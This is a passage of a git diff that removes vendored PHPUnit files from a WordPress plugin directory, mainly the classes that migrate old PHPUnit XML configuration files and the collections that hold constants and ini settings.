'testdoxHtml', - 'testdox-text' => 'testdoxText', - 'testdox-xml' => 'testdoxXml', - 'plain' => 'text', - ]; - - $logNodes = []; - - foreach ($logging->getElementsByTagName('log') as $logNode) { - if (!isset($types[$logNode->getAttribute('type')])) { - continue; - } - - $logNodes[] = $logNode; - } - - foreach ($logNodes as $oldNode) { - $newLogNode = $document->createElement($types[$oldNode->getAttribute('type')]); - $newLogNode->setAttribute('outputFile', $oldNode->getAttribute('target')); - - $logging->replaceChild($newLogNode, $oldNode); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageCloverToReport.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageCloverToReport.php deleted file mode 100644 index 5f1522b9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageCloverToReport.php +++ /dev/null @@ -1,31 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use DOMElement; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class CoverageCloverToReport extends LogToReportMigration -{ - protected function forType(): string - { - return 'coverage-clover'; - } - - protected function toReportFormat(DOMElement $logNode): DOMElement - { - $clover = $logNode->ownerDocument->createElement('clover'); - $clover->setAttribute('outputFile', $logNode->getAttribute('target')); - - return $clover; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageCrap4jToReport.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageCrap4jToReport.php deleted file mode 100644 index afbaaec1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageCrap4jToReport.php +++ /dev/null @@ -1,33 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use DOMElement; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class CoverageCrap4jToReport extends LogToReportMigration -{ - protected function forType(): string - { - return 'coverage-crap4j'; - } - - protected function toReportFormat(DOMElement $logNode): DOMElement - { - $crap4j = $logNode->ownerDocument->createElement('crap4j'); - $crap4j->setAttribute('outputFile', $logNode->getAttribute('target')); - - $this->migrateAttributes($logNode, $crap4j, ['threshold']); - - return $crap4j; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageHtmlToReport.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageHtmlToReport.php deleted file mode 100644 index 7e12095b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageHtmlToReport.php +++ /dev/null @@ -1,33 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use DOMElement; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class CoverageHtmlToReport extends LogToReportMigration -{ - protected function forType(): string - { - return 'coverage-html'; - } - - protected function toReportFormat(DOMElement $logNode): DOMElement - { - $html = $logNode->ownerDocument->createElement('html'); - $html->setAttribute('outputDirectory', $logNode->getAttribute('target')); - - $this->migrateAttributes($logNode, $html, ['lowUpperBound', 'highLowerBound']); - - return $html; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoveragePhpToReport.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoveragePhpToReport.php deleted file mode 100644 index bfa10030..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoveragePhpToReport.php +++ /dev/null @@ -1,31 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use DOMElement; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class CoveragePhpToReport extends LogToReportMigration -{ - protected function forType(): string - { - return 'coverage-php'; - } - - protected function toReportFormat(DOMElement $logNode): DOMElement - { - $php = $logNode->ownerDocument->createElement('php'); - $php->setAttribute('outputFile', $logNode->getAttribute('target')); - - return $php; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageTextToReport.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageTextToReport.php deleted file mode 100644 index 063d8df0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageTextToReport.php +++ /dev/null @@ -1,33 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use DOMElement; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class CoverageTextToReport extends LogToReportMigration -{ - protected function forType(): string - { - return 'coverage-text'; - } - - protected function toReportFormat(DOMElement $logNode): DOMElement - { - $text = $logNode->ownerDocument->createElement('text'); - $text->setAttribute('outputFile', $logNode->getAttribute('target')); - - $this->migrateAttributes($logNode, $text, ['showUncoveredFiles', 'showOnlySummary']); - - return $text; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageXmlToReport.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageXmlToReport.php deleted file mode 100644 index 480d7777..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageXmlToReport.php +++ /dev/null @@ -1,31 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use DOMElement; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class CoverageXmlToReport extends LogToReportMigration -{ - protected function forType(): string - { - return 'coverage-xml'; - } - - protected function toReportFormat(DOMElement $logNode): DOMElement - { - $xml = $logNode->ownerDocument->createElement('xml'); - $xml->setAttribute('outputDirectory', $logNode->getAttribute('target')); - - return $xml; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/IntroduceCoverageElement.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/IntroduceCoverageElement.php deleted file mode 100644 index de52857e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/IntroduceCoverageElement.php +++ /dev/null @@ -1,28 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use DOMDocument; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class IntroduceCoverageElement implements Migration -{ - public function migrate(DOMDocument $document): void - { - $coverage = $document->createElement('coverage'); - - $document->documentElement->insertBefore( - $coverage, - $document->documentElement->firstChild, - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/LogToReportMigration.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/LogToReportMigration.php deleted file mode 100644 index c07de0ec..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/LogToReportMigration.php +++ /dev/null @@ -1,79 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use function sprintf; -use DOMDocument; -use DOMElement; -use DOMXPath; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -abstract class LogToReportMigration implements Migration -{ - /** - * @throws MigrationException - */ - public function migrate(DOMDocument $document): void - { - $coverage = $document->getElementsByTagName('coverage')->item(0); - - if (!$coverage instanceof DOMElement) { - throw new MigrationException('Unexpected state - No coverage element'); - } - - $logNode = $this->findLogNode($document); - - if ($logNode === null) { - return; - } - - $reportChild = $this->toReportFormat($logNode); - - $report = $coverage->getElementsByTagName('report')->item(0); - - if ($report === null) { - $report = $coverage->appendChild($document->createElement('report')); - } - - $report->appendChild($reportChild); - $logNode->parentNode->removeChild($logNode); - } - - protected function migrateAttributes(DOMElement $src, DOMElement $dest, array $attributes): void - { - foreach ($attributes as $attr) { - if (!$src->hasAttribute($attr)) { - continue; - } - - $dest->setAttribute($attr, $src->getAttribute($attr)); - $src->removeAttribute($attr); - } - } - - abstract protected function forType(): string; - - abstract protected function toReportFormat(DOMElement $logNode): DOMElement; - - private function findLogNode(DOMDocument $document): ?DOMElement - { - $logNode = (new DOMXPath($document))->query( - sprintf('//logging/log[@type="%s"]', $this->forType()), - )->item(0); - - if (!$logNode instanceof DOMElement) { - return null; - } - - return $logNode; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/Migration.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/Migration.php deleted file mode 100644 index fa4092a9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/Migration.php +++ /dev/null @@ -1,20 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use DOMDocument; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -interface Migration -{ - public function migrate(DOMDocument $document): void; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveAttributesFromFilterWhitelistToCoverage.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveAttributesFromFilterWhitelistToCoverage.php deleted file mode 100644 index a7aab5e5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveAttributesFromFilterWhitelistToCoverage.php +++ /dev/null @@ -1,51 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use DOMDocument; -use DOMElement; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class MoveAttributesFromFilterWhitelistToCoverage implements Migration -{ - /** - * @throws MigrationException - */ - public function migrate(DOMDocument $document): void - { - $whitelist = $document->getElementsByTagName('whitelist')->item(0); - - if (!$whitelist) { - return; - } - - $coverage = $document->getElementsByTagName('coverage')->item(0); - - if (!$coverage instanceof DOMElement) { - throw new MigrationException('Unexpected state - No coverage element'); - } - - $map = [ - 'addUncoveredFilesFromWhitelist' => 'includeUncoveredFiles', - 'processUncoveredFilesFromWhitelist' => 'processUncoveredFiles', - ]; - - foreach ($map as $old => $new) { - if (!$whitelist->hasAttribute($old)) { - continue; - } - - $coverage->setAttribute($new, $whitelist->getAttribute($old)); - $whitelist->removeAttribute($old); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveAttributesFromRootToCoverage.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveAttributesFromRootToCoverage.php deleted file mode 100644 index b86b259c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveAttributesFromRootToCoverage.php +++ /dev/null @@ -1,47 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use DOMDocument; -use DOMElement; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class MoveAttributesFromRootToCoverage implements Migration -{ - /** - * @throws MigrationException - */ - public function migrate(DOMDocument $document): void - { - $map = [ - 'disableCodeCoverageIgnore' => 'disableCodeCoverageIgnore', - 'ignoreDeprecatedCodeUnitsFromCodeCoverage' => 'ignoreDeprecatedCodeUnits', - ]; - - $root = $document->documentElement; - - $coverage = $document->getElementsByTagName('coverage')->item(0); - - if (!$coverage instanceof DOMElement) { - throw new MigrationException('Unexpected state - No coverage element'); - } - - foreach ($map as $old => $new) { - if (!$root->hasAttribute($old)) { - continue; - } - - $coverage->setAttribute($new, $root->getAttribute($old)); - $root->removeAttribute($old); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveWhitelistExcludesToCoverage.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveWhitelistExcludesToCoverage.php deleted file mode 100644 index 17d5f4db..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveWhitelistExcludesToCoverage.php +++ /dev/null @@ -1,72 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use function assert; -use function in_array; -use DOMDocument; -use DOMElement; -use PHPUnit\Util\Xml\SnapshotNodeList; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class MoveWhitelistExcludesToCoverage implements Migration -{ - /** - * @throws MigrationException - */ - public function migrate(DOMDocument $document): void - { - $whitelist = $document->getElementsByTagName('whitelist')->item(0); - - if ($whitelist === null) { - return; - } - - $excludeNodes = SnapshotNodeList::fromNodeList($whitelist->getElementsByTagName('exclude')); - - if ($excludeNodes->count() === 0) { - return; - } - - $coverage = $document->getElementsByTagName('coverage')->item(0); - - if (!$coverage instanceof DOMElement) { - throw new MigrationException('Unexpected state - No coverage element'); - } - - $targetExclude = $coverage->getElementsByTagName('exclude')->item(0); - - if ($targetExclude === null) { - $targetExclude = $coverage->appendChild( - $document->createElement('exclude'), - ); - } - - foreach ($excludeNodes as $excludeNode) { - assert($excludeNode instanceof DOMElement); - - foreach (SnapshotNodeList::fromNodeList($excludeNode->childNodes) as $child) { - if (!$child instanceof DOMElement || !in_array($child->nodeName, ['directory', 'file'], true)) { - continue; - } - - $targetExclude->appendChild($child); - } - - if ($excludeNode->getElementsByTagName('*')->count() !== 0) { - throw new MigrationException('Dangling child elements in exclude found.'); - } - - $whitelist->removeChild($excludeNode); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveWhitelistIncludesToCoverage.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveWhitelistIncludesToCoverage.php deleted file mode 100644 index c75a6d84..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveWhitelistIncludesToCoverage.php +++ /dev/null @@ -1,53 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use DOMDocument; -use DOMElement; -use PHPUnit\Util\Xml\SnapshotNodeList; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class MoveWhitelistIncludesToCoverage implements Migration -{ - /** - * @throws MigrationException - */ - public function migrate(DOMDocument $document): void - { - $whitelist = $document->getElementsByTagName('whitelist')->item(0); - - if ($whitelist === null) { - return; - } - - $coverage = $document->getElementsByTagName('coverage')->item(0); - - if (!$coverage instanceof DOMElement) { - throw new MigrationException('Unexpected state - No coverage element'); - } - - $include = $document->createElement('include'); - $coverage->appendChild($include); - - foreach (SnapshotNodeList::fromNodeList($whitelist->childNodes) as $child) { - if (!$child instanceof DOMElement) { - continue; - } - - if (!($child->nodeName === 'directory' || $child->nodeName === 'file')) { - continue; - } - - $include->appendChild($child); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/RemoveCacheTokensAttribute.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/RemoveCacheTokensAttribute.php deleted file mode 100644 index 0eec12ac..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/RemoveCacheTokensAttribute.php +++ /dev/null @@ -1,27 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use DOMDocument; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class RemoveCacheTokensAttribute implements Migration -{ - public function migrate(DOMDocument $document): void - { - $root = $document->documentElement; - - if ($root->hasAttribute('cacheTokens')) { - $root->removeAttribute('cacheTokens'); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/RemoveEmptyFilter.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/RemoveEmptyFilter.php deleted file mode 100644 index 8f1a6d54..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/RemoveEmptyFilter.php +++ /dev/null @@ -1,54 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use function sprintf; -use DOMDocument; -use DOMElement; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class RemoveEmptyFilter implements Migration -{ - /** - * @throws MigrationException - */ - public function migrate(DOMDocument $document): void - { - $whitelist = $document->getElementsByTagName('whitelist')->item(0); - - if ($whitelist instanceof DOMElement) { - $this->ensureEmpty($whitelist); - $whitelist->parentNode->removeChild($whitelist); - } - - $filter = $document->getElementsByTagName('filter')->item(0); - - if ($filter instanceof DOMElement) { - $this->ensureEmpty($filter); - $filter->parentNode->removeChild($filter); - } - } - - /** - * @throws MigrationException - */ - private function ensureEmpty(DOMElement $element): void - { - if ($element->attributes->length > 0) { - throw new MigrationException(sprintf('%s element has unexpected attributes', $element->nodeName)); - } - - if ($element->getElementsByTagName('*')->length > 0) { - throw new MigrationException(sprintf('%s element has unexpected children', $element->nodeName)); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/RemoveLogTypes.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/RemoveLogTypes.php deleted file mode 100644 index 962ff13c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/RemoveLogTypes.php +++ /dev/null @@ -1,40 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use function assert; -use DOMDocument; -use DOMElement; -use PHPUnit\Util\Xml\SnapshotNodeList; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class RemoveLogTypes implements Migration -{ - public function migrate(DOMDocument $document): void - { - $logging = $document->getElementsByTagName('logging')->item(0); - - if (!$logging instanceof DOMElement) { - return; - } - - foreach (SnapshotNodeList::fromNodeList($logging->getElementsByTagName('log')) as $logNode) { - assert($logNode instanceof DOMElement); - - switch ($logNode->getAttribute('type')) { - case 'json': - case 'tap': - $logging->removeChild($logNode); - } - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/UpdateSchemaLocationTo93.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/UpdateSchemaLocationTo93.php deleted file mode 100644 index ddcfcf07..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/UpdateSchemaLocationTo93.php +++ /dev/null @@ -1,27 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use DOMDocument; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class UpdateSchemaLocationTo93 implements Migration -{ - public function migrate(DOMDocument $document): void - { - $document->documentElement->setAttributeNS( - 'http://www.w3.org/2001/XMLSchema-instance', - 'xsi:noNamespaceSchemaLocation', - 'https://schema.phpunit.de/9.3/phpunit.xsd', - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrator.php deleted file mode 100644 index 57bc9f2e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrator.php +++ /dev/null @@ -1,57 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use function sprintf; -use PHPUnit\Util\Xml\Exception as XmlException; -use PHPUnit\Util\Xml\Loader as XmlLoader; -use PHPUnit\Util\Xml\SchemaDetector; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class Migrator -{ - /** - * @throws Exception - * @throws MigrationBuilderException - * @throws MigrationException - * @throws XmlException - */ - public function migrate(string $filename): string - { - $origin = (new SchemaDetector)->detect($filename); - - if (!$origin->detected()) { - throw new Exception( - sprintf( - '"%s" is not a valid PHPUnit XML configuration file that can be migrated', - $filename, - ), - ); - } - - $configurationDocument = (new XmlLoader)->loadFile( - $filename, - false, - true, - true, - ); - - foreach ((new MigrationBuilder)->build($origin->version()) as $migration) { - $migration->migrate($configurationDocument); - } - - $configurationDocument->formatOutput = true; - $configurationDocument->preserveWhiteSpace = false; - - return $configurationDocument->saveXML(); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/Constant.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/Constant.php deleted file mode 100644 index 6d4bc94c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/Constant.php +++ /dev/null @@ -1,44 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class Constant -{ - /** - * @var string - */ - private $name; - - /** - * @var mixed - */ - private $value; - - public function __construct(string $name, $value) - { - $this->name = $name; - $this->value = $value; - } - - public function name(): string - { - return $this->name; - } - - public function value() - { - return $this->value; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/ConstantCollection.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/ConstantCollection.php deleted file mode 100644 index 440b0b0b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/ConstantCollection.php +++ /dev/null @@ -1,60 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use function count; -use Countable; -use IteratorAggregate; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - * - * @template-implements IteratorAggregate - */ -final class ConstantCollection implements Countable, IteratorAggregate -{ - /** - * @var Constant[] - */ - private $constants; - - /** - * @param Constant[] $constants - */ - public static function fromArray(array $constants): self - { - return new self(...$constants); - } - - private function __construct(Constant ...$constants) - { - $this->constants = $constants; - } - - /** - * @return Constant[] - */ - public function asArray(): array - { - return $this->constants; - } - - public function count(): int - { - return count($this->constants); - } - - public function getIterator(): ConstantCollectionIterator - { - return new ConstantCollectionIterator($this); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/ConstantCollectionIterator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/ConstantCollectionIterator.php deleted file mode 100644 index 623de961..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/ConstantCollectionIterator.php +++ /dev/null @@ -1,68 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use function count; -use function iterator_count; -use Countable; -use Iterator; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @template-implements Iterator - */ -final class ConstantCollectionIterator implements Countable, Iterator -{ - /** - * @var Constant[] - */ - private $constants; - - /** - * @var int - */ - private $position; - - public function __construct(ConstantCollection $constants) - { - $this->constants = $constants->asArray(); - } - - public function count(): int - { - return iterator_count($this); - } - - public function rewind(): void - { - $this->position = 0; - } - - public function valid(): bool - { - return $this->position < count($this->constants); - } - - public function key(): int - { - return $this->position; - } - - public function current(): Constant - { - return $this->constants[$this->position]; - } - - public function next(): void - { - $this->position++; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/IniSetting.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/IniSetting.php deleted file mode 100644 index 4786618d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/IniSetting.php +++ /dev/null @@ -1,44 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class IniSetting -{ - /** - * @var string - */ - private $name; - - /** - * @var string - */ - private $value; - - public function __construct(string $name, string $value) - { - $this->name = $name; - $this->value = $value; - } - - public function name(): string - { - return $this->name; - } - - public function value(): string - { - return $this->value; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/IniSettingCollection.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/IniSettingCollection.php deleted file mode 100644 index 28e40d93..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/IniSettingCollection.php +++ /dev/null @@ 